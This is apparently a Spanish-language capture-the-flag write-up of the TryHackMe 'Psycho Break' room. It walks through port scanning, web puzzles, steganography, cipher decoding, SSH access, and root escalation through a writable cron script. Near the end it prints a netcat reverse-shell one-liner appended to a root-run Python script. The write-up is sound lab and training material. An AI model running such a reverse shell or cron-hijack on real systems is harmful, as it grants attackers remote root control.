Psycho Break - TryHackMe
SUMMARY
Debemos encontrar dos banderas. Donde a partir de un escaneo de puertos pude saber que hay un servicio Web, SSH, FTP. Además, gracias a un script de Nmap, logre determinar que hay un pagina web almacenada en el servidor web. Luego, a través de diversos mini retos que consistían en: observar el código fuente, modificar elementos HTML, analizar scripts JavaScipt, utilizar programas de búsqueda inversa en imágenes, ejecutar comandos a través de un parámetro GET, decodificar mensajes cifrados en archivos de audio y texto mediante diversas herramienta en línea, realizar fuerza bruta directorios desde ciertas rutas, elaborar scripts en Python para automatizar la ejecución de un programa, al final logramos encontrar unas credenciales de inicio de sesión para acceder al sistema destino mediante el servicio SSH. Luego, para la escalada privilegio vertical modifique un script en Python, que era una tarea cron ejecutado con la cuenta del usuario root,
FASE RECONOCIMIENTO ACTIVO
En este caso debemos acceder al sistema destino y obtener las banderas. Para ello empezaremos utilizando el comando openvpn con el fin de establecer una conexión VPN con la red virtual dónde está la máquina Psycho Break. Para ello utilizaremos el archivo de configuración, que lo podemos descargar en la plataforma de Tryhackme, que puede incluir información como la dirección del servidor VPN, los certificados y claves de seguridad, la configuración de encriptación, etc.
Luego de que se establece la conexión VPN se crea una interfaz virtual de red en nuestra máquina. Donde se enruta todo el tráfico de red a través de esa interfaz.
Además, la plataforma de Tryhackme nos muestra la dirección IP de la máquina Psycho Break.
FASE ESCANEO Y ENUMERACION
Luego pasaremos a la fase de Escaneo y Enumeración con el fin de poder escanear los puertos del nodo. Además, obtendremos los servicios que se han levantado en los puertos abiertos, las versiones de los servicios, y el sistema operativo de la máquina Psycho Break. Para ello utilizaremos Nmap
. Donde le pasaremos los siguientes parámetros:
- El parámetro -sC o –script=”default” para utilizar todos los scripts de la categoría default con el fin de realizar un escaneo y detección de los puertos de manera avanzada.
- El parámetros -sV con el fin de conocer las versiones de los servicios levantados en los puertos abiertos.
- El parámetro -n para evitar la resolución DNS, y el parámetro –max-rate para indicarle el número máximo de paquetes por segundo que va a utilizar Nmap para el escaneo con el fin de evitar sobrecargar la red con el tráfico generado por la herramienta.
- El parámetro -Pn para evitar que Nmap, que realice ningún tipo de sondeo o ping hacia el sistema destino con el fin de determinar si el host está vivo o activo, y realice el escaneo de puertos directamente.
- El parámetro -p- para realizar un escaneo de los 65535 puertos del nodo y el parámetro –open con el fin de que nos muestre información solo de los puertos abiertos.
Los resultados que obtuvimos del escaneo vienen a ser:
- Un programa servidor web Apache levantado en el puerto 80. Además, gracias al script http-tittle obtuvimos el valor de la etiqueta title de una página web alojada en el directorio raíz del servidor web.
- Un programa servidor SSH levantado en el puerto 22.
- Un programa servidor FTP levantado en el puerto 21.
Ahora accederemos a la página web alojada en el directorio raíz del servidor web a través de mi navegador web.
Podemos observar que el código fuente de la pagina web contiene un comentario que hace referencia a la ruta de un directorio.
Ahora accederemos a ese directorio a través de mi navegador web.
Podemos observar que se nos redirige a otra página web que contiene un elemento HTML <a>
que contiene un enlace, y cuando lo hacemos click, nos redirige a la misma página web y se nos aparece una ventana emergente con una clave. Además, en el código fuente de la página fuente, podemos observar un elemento HTML button que no aparece en la página web y que contiene un mensaje para ir al Locker Room. Para hacerlo aparecer, modificaremos la propiedad CSS display del elemento HTML mediante la herramienta Inspector integrada en el navegador web.
Ahora accederemos al Locker Room mediante la clave recuperada anteriormente.
Otra manera que pudimos haber optado para ingresar al Locker Room es revisando el contenido del archivo JavaScript script.
Donde encontraremos la función, que se ejecutará cuando ingresemos la clave y le demos clic al boton OK, y si ingresamos la clave correcta se nos redirigirá hacia la ruta del Locker Room. Por lo que solo podemos tomar la ruta y acceder directamente, evitando ingresar la clave.
Podemos observar que el Locker Room contiene una clave que esta codificado. Además, hay elemento HTML <a>
que contiene un enlace, y cuando lo hacemos clic, nos redirige a una página web que nos solicita la clave decodificada.
FASE GANAR ACCESO O HACKING
Ahora decodificaremos la clave con CyberChef teniendo en cuenta que parece estar utilizando el cifrado Atbash.
Podemos observar que logramos descifrar la clave, e ingresamos la clave en la paginas web, logrando observar una serie de etiquetas HTML <a>
que contienen enlaces hacia otras paginas web.
Ahora accederemos a la pagina web cuyo enlace tiene el nombre de Safe Heaven.
Podemos observar que esta pagina web tiene un comentario en su código fuente que nos incita a realizar fuerza bruta directorios desde esa ruta con el fin buscar recursos escondidos.
Podemos observar que Gobuster logro encontrar un directorio llamado keeper.
Ahora accederemos a el recurso a través de mi navegador web.
Podemos observar que accedimos a una página web que consta de una etiqueta HTML <a>
que contiene un enlace, y cuando le hacemos clic, nos redirige a otra página web que nos solicita ingresar la ubicación donde fue tomada la imagen que aparece en la pagina web.
Ahora para geolocalizar la imagen utilizaremos el programa de búsqueda inversa de imágenes del motor de búsqueda Yandex.
Podemos observar que la ubicación de la imagen viene a ser St. Augustine Lighthouse. Luego, de ingresar la ubicación en el campo, se nos redirige a una página web con una clave que viene a ser de él Guardian o The Keeper.
Ahora accederemos esta clave para acceder a Abandoned Room que viene a ser otra de las páginas web enlazadas en la pagina web que viene a ser como un mapa.
Podemos observar que luego de ingresar la clave se nos redirige a otra pagina web que contiene un botón con un enlace que nos redirige a otra página web cuando hacemos clic en él, y si observamos su código fuente, nos topamos con un comentario que nos habla sobre un posible parámetro GET Shell que nos permitirá ejecutar comandos en el sistema operativo destino.
Ahora probaremos algunos comandos en este parámetro GET Shell con el fin de saber si hay algún filtro al lado del servidor que limite los comandos que podemos ingresar.
Podemos observar que si se ha implementado un filtro al lado del servidor que limita bastante los comandos que podemos ingresar (estas cuatro imágenes son solo una muestra pequeña de los comandos que intente). Además, el único comando que podemos ingresar es ls pero sin ninguno de sus argumento. Por lo que intente el comando ls .. con el fin de movernos a un directorio previo o padre o superior al del actual. Además, en el directorio superior, observamos un recurso desconocido. Por lo que intentaremos acceder a el a través de mi navegador web.
Podemos observar que el recurso viene a ser un directory list que contiene un archivo zip y un archivo de texto sin importancia.
Ahora descomprimiremos el archivo zip.
Podemos observar que el archivo zip contenía un archivo de texto cuyo contenido nos incita analizar la imagen Table, y si analizamos el metadato MIME Type de la imagen, nos topamos con la sorpresa de que no es una imagen sino un archivo zip. Luego, descomprimimos el archivo zip, y nos encontramos con un archivo de audio y otra imagen. Además, si intentamos saber si hay algún dato oculto en la imagen, nos solicitara una frase.
Además, si analizamos el audio key, nos daremos cuenta de que parece ser código Morse. Por lo tanto, buscaremos una herramienta en línea que nos ayuda decodificar el código Morse del audio.
Podemos observar que logramos decodificar el código Morse del audio, y logramos extraer un archivo texto de la imagen con steghide. Además, este archivo de texto contenía unas credenciales del usuario Joseph para acceder al servidor FTP. Donde logramos extraer un archivo ejecutable y un wordlist. Además, si ejecutamos el archivo ejecutable, nos solicitan que ingresemos una palabra como parámetro.
Ahora crearemos un script en Python que prueba con todas las palabras como parámetro en el archivo ejecutable. Para encontrar la palabra correcta.
Podemos observar que logramos obtener la palabra correcta mediante nuestro script en Python. Además, recibimos un numero codificado.
Ahora si digitamos este numero cifrado en nuestro motor de búsqueda de Google, obtenemos una herramienta en línea para desencriptar este tipo de series de números que están utilizando un cifrado basado en como se ingresaba texto en un telefono Multi-Tap. Donde los usuarios debían presionar repetidamente las teclas numéricas correspondientes a las letras que deseaban escribir.
Podemos decodificar manualmente la seria de números utilizando el teclado numérico de la imagen o mediante la herramienta en línea del primer resultado de nuestra búsqueda.
Ahora si analizamos el contenido del mensaje decodificado, podemos suponer que un usuario local en el sistema destino es kidman y que el mensaje decodificado puede ser su contraseña de inicio de sesión. Pondremos a prueba esta hipótesis, autenticándonos mediante el servicio SSH con estas supuestas credenciales
Podemos observar que nuestra hipótesis estaba en lo correcto y logramos acceder al sistema destino. Además, logramos visualizar la primera bandera.
FASE ESCALADA PRIVILEGIOS
Ahora buscaremos un vector de escalada privilegio en el sistema de archivos del sistema destino.
Podemos observar que el usuario root ha programado una tarea cron en el archivo crontab general del sistema. Además, esta tarea cron viene a ser un script en Python que se ejecutara cada medio minuto. Además, podemos observar que el permiso de escritura para otros usuarios que no pertenecen al grupo primario root está habilitado en el script. Por lo tanto, si podemos modificar su contenido.
Ahora agregaremos estas líneas de código al script en Python para que se ejecute una reverse Shell, pero antes debemos habilitar el puerto 1500 en modo listening en nuestro sistema.
Import os
os.system(mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.8.123.194 1500 >/tmp/f)
Podemos observar que logramos realizar la escalada privilegio vertical. Además, logramos visualizar el contenido de la ultima bandera.